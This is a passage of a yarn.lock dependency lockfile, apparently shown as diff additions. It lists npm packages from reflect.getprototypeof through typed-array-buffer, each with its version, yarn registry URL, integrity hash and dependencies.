reflect.getprototypeof@^1.0.9: + version "1.0.10" + resolved "https://registry.yarnpkg.com/reflect.getprototypeof/-/reflect.getprototypeof-1.0.10.tgz#c629219e78a3316d8b604c765ef68996964e7bf9" + integrity sha512-00o4I+DVrefhv+nX0ulyi3biSHCPDe+yLv5o/p6d/UVlirijB8E16FtfwSAi4g3tcqrQ4lRAqQSoFEZJehYEcw== + dependencies: + call-bind "^1.0.8" + define-properties "^1.2.1" + es-abstract "^1.23.9" + es-errors "^1.3.0" + es-object-atoms "^1.0.0" + get-intrinsic "^1.2.7" + get-proto "^1.0.1" + which-builtin-type "^1.2.1" + +regexp.prototype.flags@^1.5.2: + version "1.5.2" + resolved "https://registry.yarnpkg.com/regexp.prototype.flags/-/regexp.prototype.flags-1.5.2.tgz#138f644a3350f981a858c44f6bb1a61ff59be334" + integrity sha512-NcDiDkTLuPR+++OCKB0nWafEmhg/Da8aUPLPMQbK+bxKKCm1/S5he+AqYa4PlMCVBalb4/yxIRub6qkEx5yJbw== + dependencies: + call-bind "^1.0.6" + define-properties "^1.2.1" + es-errors "^1.3.0" + set-function-name "^2.0.1" + +regexp.prototype.flags@^1.5.4: + version "1.5.4" + resolved "https://registry.yarnpkg.com/regexp.prototype.flags/-/regexp.prototype.flags-1.5.4.tgz#1ad6c62d44a259007e55b3970e00f746efbcaa19" + integrity sha512-dYqgNSZbDwkaJ2ceRd9ojCGjBq+mOm9LmtXnAnEGyHhN/5R7iDW2TRw3h+o/jCFxus3P2LfWIIiwowAjANm7IA== + dependencies: + call-bind "^1.0.8" + define-properties "^1.2.1" + es-errors "^1.3.0" + get-proto "^1.0.1" + gopd "^1.2.0" + set-function-name "^2.0.2" + +require-directory@^2.1.1: + version "2.1.1" + resolved "https://registry.yarnpkg.com/require-directory/-/require-directory-2.1.1.tgz#8c64ad5fd30dab1c976e2344ffe7f792a6a6df42" + integrity sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q== + +resolve-cwd@^3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/resolve-cwd/-/resolve-cwd-3.0.0.tgz#0f0075f1bb2544766cf73ba6a6e2adfebcb13f2d" + integrity sha512-OrZaX2Mb+rJCpH/6CpSqt9xFVpN++x01XnN2ie9g6P5/3xelLAkXWVADpdz1IHD/KFfEXyE6V0U01OQ3UO2rEg== + dependencies: + resolve-from "^5.0.0" + +resolve-from@^4.0.0: + version "4.0.0" + resolved "https://registry.yarnpkg.com/resolve-from/-/resolve-from-4.0.0.tgz#4abcd852ad32dd7baabfe9b40e00a36db5f392e6" + integrity sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g== + +resolve-from@^5.0.0: + version "5.0.0" + resolved "https://registry.yarnpkg.com/resolve-from/-/resolve-from-5.0.0.tgz#c35225843df8f776df21c57557bc087e9dfdfc69" + integrity sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw== + +resolve@^1.22.4: + version "1.22.8" + resolved "https://registry.yarnpkg.com/resolve/-/resolve-1.22.8.tgz#b6c87a9f2aa06dfab52e3d70ac8cde321fa5a48d" + integrity sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw== + dependencies: + is-core-module "^2.13.0" + path-parse "^1.0.7" + supports-preserve-symlinks-flag "^1.0.0" + +safe-array-concat@^1.1.2: + version "1.1.2" + resolved "https://registry.yarnpkg.com/safe-array-concat/-/safe-array-concat-1.1.2.tgz#81d77ee0c4e8b863635227c721278dd524c20edb" + integrity sha512-vj6RsCsWBCf19jIeHEfkRMw8DPiBb+DMXklQ/1SGDHOMlHdPUkZXFQ2YdplS23zESTijAcurb1aSgJA3AgMu1Q== + dependencies: + call-bind "^1.0.7" + get-intrinsic "^1.2.4" + has-symbols "^1.0.3" + isarray "^2.0.5" + +safe-array-concat@^1.1.3: + version "1.1.3" + resolved "https://registry.yarnpkg.com/safe-array-concat/-/safe-array-concat-1.1.3.tgz#c9e54ec4f603b0bbb8e7e5007a5ee7aecd1538c3" + integrity sha512-AURm5f0jYEOydBj7VQlVvDrjeFgthDdEF5H1dP+6mNpoXOMo1quQqJ4wvJDyRZ9+pO3kGWoOdmV08cSv2aJV6Q== + dependencies: + call-bind "^1.0.8" + call-bound "^1.0.2" + get-intrinsic "^1.2.6" + has-symbols "^1.1.0" + isarray "^2.0.5" + +safe-push-apply@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/safe-push-apply/-/safe-push-apply-1.0.0.tgz#01850e981c1602d398c85081f360e4e6d03d27f5" + integrity sha512-iKE9w/Z7xCzUMIZqdBsp6pEQvwuEebH4vdpjcDWnyzaI6yl6O9FHvVpmGelvEHNsoY6wGblkxR6Zty/h00WiSA== + dependencies: + es-errors "^1.3.0" + isarray "^2.0.5" + +safe-regex-test@^1.0.3: + version "1.0.3" + resolved "https://registry.yarnpkg.com/safe-regex-test/-/safe-regex-test-1.0.3.tgz#a5b4c0f06e0ab50ea2c395c14d8371232924c377" + integrity sha512-CdASjNJPvRa7roO6Ra/gLYBTzYzzPyyBXxIMdGW3USQLyjWEls2RgW5UBTXaQVp+OrpeCK3bLem8smtmheoRuw== + dependencies: + call-bind "^1.0.6" + es-errors "^1.3.0" + is-regex "^1.1.4" + +safe-regex-test@^1.1.0: + version "1.1.0" + resolved "https://registry.yarnpkg.com/safe-regex-test/-/safe-regex-test-1.1.0.tgz#7f87dfb67a3150782eaaf18583ff5d1711ac10c1" + integrity sha512-x/+Cz4YrimQxQccJf5mKEbIa1NzeCRNI5Ecl/ekmlYaampdNLPalVyIcCZNNH3MvmqBugV5TMYZXv0ljslUlaw== + dependencies: + call-bound "^1.0.2" + es-errors "^1.3.0" + is-regex "^1.2.1" + +semver@^6.3.1: + version "6.3.1" + resolved "https://registry.yarnpkg.com/semver/-/semver-6.3.1.tgz#556d2ef8689146e46dcea4bfdd095f3434dffcb4" + integrity sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA== + +semver@^7.5.3, semver@^7.5.4, semver@^7.7.2, semver@^7.7.3, semver@^7.8.0: + version "7.8.1" + resolved "https://registry.yarnpkg.com/semver/-/semver-7.8.1.tgz#bf4970b5e70fda0686363cc18bfe8805d5ed957e" + integrity sha512-rkVq3IXh+4FDGch+KwzX3aV9W3kO54GyEgpvBzSyctDA6Xtd7RJQV1xmXbeQp5v7+VzLOfVqiutSE6GICgPFvg== + +set-function-length@^1.2.1, set-function-length@^1.2.2: + version "1.2.2" + resolved "https://registry.yarnpkg.com/set-function-length/-/set-function-length-1.2.2.tgz#aac72314198eaed975cf77b2c3b6b880695e5449" + integrity sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg== + dependencies: + define-data-property "^1.1.4" + es-errors "^1.3.0" + function-bind "^1.1.2" + get-intrinsic "^1.2.4" + gopd "^1.0.1" + has-property-descriptors "^1.0.2" + +set-function-name@^2.0.1, set-function-name@^2.0.2: + version "2.0.2" + resolved "https://registry.yarnpkg.com/set-function-name/-/set-function-name-2.0.2.tgz#16a705c5a0dc2f5e638ca96d8a8cd4e1c2b90985" + integrity sha512-7PGFlmtwsEADb0WYyvCMa1t+yke6daIG4Wirafur5kcf+MhUnPms1UeR0CKQdTZD81yESwMHbtn+TR+dMviakQ== + dependencies: + define-data-property "^1.1.4" + es-errors "^1.3.0" + functions-have-names "^1.2.3" + has-property-descriptors "^1.0.2" + +set-proto@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/set-proto/-/set-proto-1.0.0.tgz#0760dbcff30b2d7e801fd6e19983e56da337565e" + integrity sha512-RJRdvCo6IAnPdsvP/7m6bsQqNnn1FCBX5ZNtFL98MmFF/4xAIJTIg1YbHW5DC2W5SKZanrC6i4HsJqlajw/dZw== + dependencies: + dunder-proto "^1.0.1" + es-errors "^1.3.0" + es-object-atoms "^1.0.0" + +shebang-command@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/shebang-command/-/shebang-command-2.0.0.tgz#ccd0af4f8835fbdc265b82461aaf0c36663f34ea" + integrity sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA== + dependencies: + shebang-regex "^3.0.0" + +shebang-regex@^3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/shebang-regex/-/shebang-regex-3.0.0.tgz#ae16f1644d873ecad843b0307b143362d4c42172" + integrity sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A== + +side-channel-list@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/side-channel-list/-/side-channel-list-1.0.0.tgz#10cb5984263115d3b7a0e336591e290a830af8ad" + integrity sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA== + dependencies: + es-errors "^1.3.0" + object-inspect "^1.13.3" + +side-channel-map@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/side-channel-map/-/side-channel-map-1.0.1.tgz#d6bb6b37902c6fef5174e5f533fab4c732a26f42" + integrity sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA== + dependencies: + call-bound "^1.0.2" + es-errors "^1.3.0" + get-intrinsic "^1.2.5" + object-inspect "^1.13.3" + +side-channel-weakmap@^1.0.2: + version "1.0.2" + resolved "https://registry.yarnpkg.com/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz#11dda19d5368e40ce9ec2bdc1fb0ecbc0790ecea" + integrity sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A== + dependencies: + call-bound "^1.0.2" + es-errors "^1.3.0" + get-intrinsic "^1.2.5" + object-inspect "^1.13.3" + side-channel-map "^1.0.1" + +side-channel@^1.0.4: + version "1.0.6" + resolved "https://registry.yarnpkg.com/side-channel/-/side-channel-1.0.6.tgz#abd25fb7cd24baf45466406b1096b7831c9215f2" + integrity sha512-fDW/EZ6Q9RiO8eFG8Hj+7u/oW+XrPTIChwCOM2+th2A6OblDtYYIpve9m+KvI9Z4C9qSEXlaGR6bTEYHReuglA== + dependencies: + call-bind "^1.0.7" + es-errors "^1.3.0" + get-intrinsic "^1.2.4" + object-inspect "^1.13.1" + +side-channel@^1.1.0: + version "1.1.0" + resolved "https://registry.yarnpkg.com/side-channel/-/side-channel-1.1.0.tgz#c3fcff9c4da932784873335ec9765fa94ff66bc9" + integrity sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw== + dependencies: + es-errors "^1.3.0" + object-inspect "^1.13.3" + side-channel-list "^1.0.0" + side-channel-map "^1.0.1" + side-channel-weakmap "^1.0.2" + +signal-exit@^3.0.3: + version "3.0.7" + resolved "https://registry.yarnpkg.com/signal-exit/-/signal-exit-3.0.7.tgz#a9a1767f8af84155114eaabd73f99273c8f59ad9" + integrity sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ== + +signal-exit@^4.0.1: + version "4.1.0" + resolved "https://registry.yarnpkg.com/signal-exit/-/signal-exit-4.1.0.tgz#952188c1cbd546070e2dd20d0f41c0ae0530cb04" + integrity sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw== + +slash@^3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/slash/-/slash-3.0.0.tgz#6539be870c165adbd5240220dbe361f1bc4d4634" + integrity sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q== + +source-map-support@0.5.13: + version "0.5.13" + resolved "https://registry.yarnpkg.com/source-map-support/-/source-map-support-0.5.13.tgz#31b24a9c2e73c2de85066c0feb7d44767ed52932" + integrity sha512-SHSKFHadjVA5oR4PPqhtAVdcBWwRYVd6g6cAXnIbRiIwc2EhPrTuKUBdSLvlEKyIP3GCf89fltvcZiP9MMFA1w== + dependencies: + buffer-from "^1.0.0" + source-map "^0.6.0" + +source-map@^0.6.0, source-map@^0.6.1: + version "0.6.1" + resolved "https://registry.yarnpkg.com/source-map/-/source-map-0.6.1.tgz#74722af32e9614e9c287a8d0bbde48b5e2f1a263" + integrity sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g== + +sprintf-js@~1.0.2: + version "1.0.3" + resolved "https://registry.yarnpkg.com/sprintf-js/-/sprintf-js-1.0.3.tgz#04e6926f662895354f3dd015203633b857297e2c" + integrity sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g== + +stack-utils@^2.0.6: + version "2.0.6" + resolved "https://registry.yarnpkg.com/stack-utils/-/stack-utils-2.0.6.tgz#aaf0748169c02fc33c8232abccf933f54a1cc34f" + integrity sha512-XlkWvfIm6RmsWtNJx+uqtKLS8eqFbxUg0ZzLXqY0caEy9l7hruX8IpiDnjsLavoBgqCCR71TqWO8MaXYheJ3RQ== + dependencies: + escape-string-regexp "^2.0.0" + +stop-iteration-iterator@^1.1.0: + version "1.1.0" + resolved "https://registry.yarnpkg.com/stop-iteration-iterator/-/stop-iteration-iterator-1.1.0.tgz#f481ff70a548f6124d0312c3aa14cbfa7aa542ad" + integrity sha512-eLoXW/DHyl62zxY4SCaIgnRhuMr6ri4juEYARS8E6sCEqzKpOiE521Ucofdx+KnDZl5xmvGYaaKCk5FEOxJCoQ== + dependencies: + es-errors "^1.3.0" + internal-slot "^1.1.0" + +string-length@^4.0.2: + version "4.0.2" + resolved "https://registry.yarnpkg.com/string-length/-/string-length-4.0.2.tgz#a8a8dc7bd5c1a82b9b3c8b87e125f66871b6e57a" + integrity sha512-+l6rNN5fYHNhZZy41RXsYptCjA2Igmq4EG7kZAYFQI1E1VTXarr6ZPXBg6eq7Y6eK4FEhY6AJlyuFIb/v/S0VQ== + dependencies: + char-regex "^1.0.2" + strip-ansi "^6.0.0" + +"string-width-cjs@npm:string-width@^4.2.0": + version "4.2.3" + resolved "https://registry.yarnpkg.com/string-width/-/string-width-4.2.3.tgz#269c7117d27b05ad2e536830a8ec895ef9c6d010" + integrity sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g== + dependencies: + emoji-regex "^8.0.0" + is-fullwidth-code-point "^3.0.0" + strip-ansi "^6.0.1" + +string-width@^4.1.0, string-width@^4.2.0, string-width@^4.2.3: + version "4.2.3" + resolved "https://registry.yarnpkg.com/string-width/-/string-width-4.2.3.tgz#269c7117d27b05ad2e536830a8ec895ef9c6d010" + integrity sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g== + dependencies: + emoji-regex "^8.0.0" + is-fullwidth-code-point "^3.0.0" + strip-ansi "^6.0.1" + +string-width@^5.0.1, string-width@^5.1.2: + version "5.1.2" + resolved "https://registry.yarnpkg.com/string-width/-/string-width-5.1.2.tgz#14f8daec6d81e7221d2a357e668cab73bdbca794" + integrity sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA== + dependencies: + eastasianwidth "^0.2.0" + emoji-regex "^9.2.2" + strip-ansi "^7.0.1" + +string.prototype.trim@^1.2.10: + version "1.2.10" + resolved "https://registry.yarnpkg.com/string.prototype.trim/-/string.prototype.trim-1.2.10.tgz#40b2dd5ee94c959b4dcfb1d65ce72e90da480c81" + integrity sha512-Rs66F0P/1kedk5lyYyH9uBzuiI/kNRmwJAR9quK6VOtIpZ2G+hMZd+HQbbv25MgCA6gEffoMZYxlTod4WcdrKA== + dependencies: + call-bind "^1.0.8" + call-bound "^1.0.2" + define-data-property "^1.1.4" + define-properties "^1.2.1" + es-abstract "^1.23.5" + es-object-atoms "^1.0.0" + has-property-descriptors "^1.0.2" + +string.prototype.trim@^1.2.9: + version "1.2.9" + resolved "https://registry.yarnpkg.com/string.prototype.trim/-/string.prototype.trim-1.2.9.tgz#b6fa326d72d2c78b6df02f7759c73f8f6274faa4" + integrity sha512-klHuCNxiMZ8MlsOihJhJEBJAiMVqU3Z2nEXWfWnIqjN0gEFS9J9+IxKozWWtQGcgoa1WUZzLjKPTr4ZHNFTFxw== + dependencies: + call-bind "^1.0.7" + define-properties "^1.2.1" + es-abstract "^1.23.0" + es-object-atoms "^1.0.0" + +string.prototype.trimend@^1.0.8, string.prototype.trimend@^1.0.9: + version "1.0.9" + resolved "https://registry.yarnpkg.com/string.prototype.trimend/-/string.prototype.trimend-1.0.9.tgz#62e2731272cd285041b36596054e9f66569b6942" + integrity sha512-G7Ok5C6E/j4SGfyLCloXTrngQIQU3PWtXGst3yM7Bea9FRURf1S42ZHlZZtsNque2FN2PoUhfZXYLNWwEr4dLQ== + dependencies: + call-bind "^1.0.8" + call-bound "^1.0.2" + define-properties "^1.2.1" + es-object-atoms "^1.0.0" + +string.prototype.trimstart@^1.0.8: + version "1.0.8" + resolved "https://registry.yarnpkg.com/string.prototype.trimstart/-/string.prototype.trimstart-1.0.8.tgz#7ee834dda8c7c17eff3118472bb35bfedaa34dde" + integrity sha512-UXSH262CSZY1tfu3G3Secr6uGLCFVPMhIqHjlgCUtCCcgihYc/xKs9djMTMUOb2j1mVSeU8EU6NWc/iQKU6Gfg== + dependencies: + call-bind "^1.0.7" + define-properties "^1.2.1" + es-object-atoms "^1.0.0" + +"strip-ansi-cjs@npm:strip-ansi@^6.0.1": + version "6.0.1" + resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-6.0.1.tgz#9e26c63d30f53443e9489495b2105d37b67a85d9" + integrity sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A== + dependencies: + ansi-regex "^5.0.1" + +strip-ansi@^6.0.0, strip-ansi@^6.0.1: + version "6.0.1" + resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-6.0.1.tgz#9e26c63d30f53443e9489495b2105d37b67a85d9" + integrity sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A== + dependencies: + ansi-regex "^5.0.1" + +strip-ansi@^7.0.1: + version "7.1.2" + resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-7.1.2.tgz#132875abde678c7ea8d691533f2e7e22bb744dba" + integrity sha512-gmBGslpoQJtgnMAvOVqGZpEz9dyoKTCzy2nfz/n8aIFhN/jCE/rCmcxabB6jOOHV+0WNnylOxaxBQPSvcWklhA== + dependencies: + ansi-regex "^6.0.1" + +strip-bom@^3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/strip-bom/-/strip-bom-3.0.0.tgz#2334c18e9c759f7bdd56fdef7e9ae3d588e68ed3" + integrity sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA== + +strip-bom@^4.0.0: + version "4.0.0" + resolved "https://registry.yarnpkg.com/strip-bom/-/strip-bom-4.0.0.tgz#9c3505c1db45bcedca3d9cf7a16f5c5aa3901878" + integrity sha512-3xurFv5tEgii33Zi8Jtp55wEIILR9eh34FAW00PZf+JnSsTmV/ioewSgQl97JHvgjoRGwPShsWm+IdrxB35d0w== + +strip-final-newline@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/strip-final-newline/-/strip-final-newline-2.0.0.tgz#89b852fb2fcbe936f6f4b3187afb0a12c1ab58ad" + integrity sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA== + +strip-json-comments@^3.1.1: + version "3.1.1" + resolved "https://registry.yarnpkg.com/strip-json-comments/-/strip-json-comments-3.1.1.tgz#31f1281b3832630434831c310c01cccda8cbe006" + integrity sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig== + +supports-color@^5.3.0: + version "5.5.0" + resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-5.5.0.tgz#e2e69a44ac8772f78a1ec0b35b689df6530efc8f" + integrity sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow== + dependencies: + has-flag "^3.0.0" + +supports-color@^7.1.0: + version "7.2.0" + resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-7.2.0.tgz#1b7dcdcb32b8138801b3e478ba6a51caa89648da" + integrity sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw== + dependencies: + has-flag "^4.0.0" + +supports-color@^8.1.1: + version "8.1.1" + resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-8.1.1.tgz#cd6fc17e28500cff56c1b86c0a7fd4a54a73005c" + integrity sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q== + dependencies: + has-flag "^4.0.0" + +supports-preserve-symlinks-flag@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz#6eda4bd344a3c94aea376d4cc31bc77311039e09" + integrity sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w== + +synckit@^0.11.13, synckit@^0.11.8: + version "0.11.13" + resolved "https://registry.yarnpkg.com/synckit/-/synckit-0.11.13.tgz#062a5ea57d81befc35892f8254de5c567e97c80a" + integrity sha512-eNRKgb3z66Yp3D2CixVujOUvXLFUTij/zVnV8KRyvFdQwpz7I5DS8UfRkTeLzb64u+dkzDSdelE24izu+zSSUg== + dependencies: + "@pkgr/core" "^0.3.6" + +test-exclude@^6.0.0: + version "6.0.0" + resolved "https://registry.yarnpkg.com/test-exclude/-/test-exclude-6.0.0.tgz#04a8698661d805ea6fa293b6cb9e63ac044ef15e" + integrity sha512-cAGWPIyOHU6zlmg88jwm7VRyXnMN7iV68OGAbYDk/Mh/xC/pzVPlQtY6ngoIH/5/tciuhGfvESU8GrHrcxD56w== + dependencies: + "@istanbuljs/schema" "^0.1.2" + glob "^7.1.4" + minimatch "^3.0.4" + +tinyglobby@^0.2.15: + version "0.2.15" + resolved "https://registry.yarnpkg.com/tinyglobby/-/tinyglobby-0.2.15.tgz#e228dd1e638cea993d2fdb4fcd2d4602a79951c2" + integrity sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ== + dependencies: + fdir "^6.5.0" + picomatch "^4.0.3" + +tmpl@1.0.5: + version "1.0.5" + resolved "https://registry.yarnpkg.com/tmpl/-/tmpl-1.0.5.tgz#8683e0b902bb9c20c4f726e3c0b69f36518c07cc" + integrity sha512-3f0uOEAQwIqGuWW2MVzYg8fV/QNnc/IpuJNG837rLuczAaLVHslWHZQj4IGiEl5Hs3kkbhwL9Ab7Hrsmuj+Smw== + +to-fast-properties@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/to-fast-properties/-/to-fast-properties-2.0.0.tgz#dc5e698cbd079265bc73e0377681a4e4e83f616e" + integrity sha512-/OaKK0xYrs3DmxRYqL/yDc+FxFUVYhDlXMhRmv3z915w2HF1tnN1omB354j8VUGO/hbRzyD6Y3sA7v7GS/ceog== + +to-regex-range@^5.0.1: + version "5.0.1" + resolved "https://registry.yarnpkg.com/to-regex-range/-/to-regex-range-5.0.1.tgz#1648c44aae7c8d988a326018ed72f5b4dd0392e4" + integrity sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ== + dependencies: + is-number "^7.0.0" + +ts-api-utils@^2.5.0: + version "2.5.0" + resolved "https://registry.yarnpkg.com/ts-api-utils/-/ts-api-utils-2.5.0.tgz#4acd4a155e22734990a5ed1fe9e97f113bcb37c1" + integrity sha512-OJ/ibxhPlqrMM0UiNHJ/0CKQkoKF243/AEmplt3qpRgkW8VG7IfOS41h7V8TjITqdByHzrjcS/2si+y4lIh8NA== + +ts-jest@^29.4.11: + version "29.4.11" + resolved "https://registry.yarnpkg.com/ts-jest/-/ts-jest-29.4.11.tgz#42f5de21c37ccc01a580253afae6955abbf4d0b3" + integrity sha512-IrFl7l9AuB/qrNw5quqvAv/hmKMb8dhWOH4jQOGo0Oq8tCeo1O86/iTFG1FaRimgUkF13l4PcepO8ATFT6Ns4g== + dependencies: + bs-logger "^0.2.6" + fast-json-stable-stringify "^2.1.0" + handlebars "^4.7.9" + json5 "^2.2.3" + lodash.memoize "^4.1.2" + make-error "^1.3.6" + semver "^7.8.0" + type-fest "^4.41.0" + yargs-parser "^21.1.1" + +tsconfig-paths@^3.15.0: + version "3.15.0" + resolved "https://registry.yarnpkg.com/tsconfig-paths/-/tsconfig-paths-3.15.0.tgz#5299ec605e55b1abb23ec939ef15edaf483070d4" + integrity sha512-2Ac2RgzDe/cn48GvOe3M+o82pEFewD3UPbyoUHHdKasHwJKjds4fLXWf/Ux5kATBKN20oaFGu+jbElp1pos0mg== + dependencies: + "@types/json5" "^0.0.29" + json5 "^1.0.2" + minimist "^1.2.6" + strip-bom "^3.0.0" + +tslib@^2.4.0: + version "2.8.1" + resolved "https://registry.yarnpkg.com/tslib/-/tslib-2.8.1.tgz#612efe4ed235d567e8aba5f2a5fab70280ade83f" + integrity sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w== + +type-check@^0.4.0, type-check@~0.4.0: + version "0.4.0" + resolved "https://registry.yarnpkg.com/type-check/-/type-check-0.4.0.tgz#07b8203bfa7056c0657050e3ccd2c37730bab8f1" + integrity sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew== + dependencies: + prelude-ls "^1.2.1" + +type-detect@4.0.8: + version "4.0.8" + resolved "https://registry.yarnpkg.com/type-detect/-/type-detect-4.0.8.tgz#7646fb5f18871cfbb7749e69bd39a6388eb7450c" + integrity sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g== + +type-fest@^0.21.3: + version "0.21.3" + resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-0.21.3.tgz#d260a24b0198436e133fa26a524a6d65fa3b2e37" + integrity sha512-t0rzBq87m3fVcduHDUFhKmyyX+9eo6WQjZvf51Ea/M0Q7+T374Jp1aUiyUl0GKxp8M/OETVHSDvmkyPgvX+X2w== + +type-fest@^4.41.0: + version "4.41.0" + resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-4.41.0.tgz#6ae1c8e5731273c2bf1f58ad39cbae2c91a46c58" + integrity sha512-TeTSQ6H5YHvpqVwBRcnLDCBnDOHWYu7IvGbHT6N8AOymcr9PJGjc1GTtiWZTYg0NCgYwvnYWEkVChQAr9bjfwA== + +typed-array-buffer@^1.0.2: + version "1.0.2" + resolved "https://registry.yarnpkg.com/typed-array-buffer/-/typed-array-buffer-1.0.2.tgz#1867c5d83b20fcb5ccf32649e5e2fc7424474ff3" + integrity sha512-gEymJYKZtKXzzBzM4jqa9w6Q1Jjm7x2d+sh19AdsD4wqnMPDYyvwpsIc2Q/835kHuo3BEQ7CjelGhfTsoBb2MQ== + dependencies: + call-bind "^1.0.7" + es-errors "^1.3.0" + is-typed-array "^1.1.13" + +typed-array-buffer@^1.0.3: + version 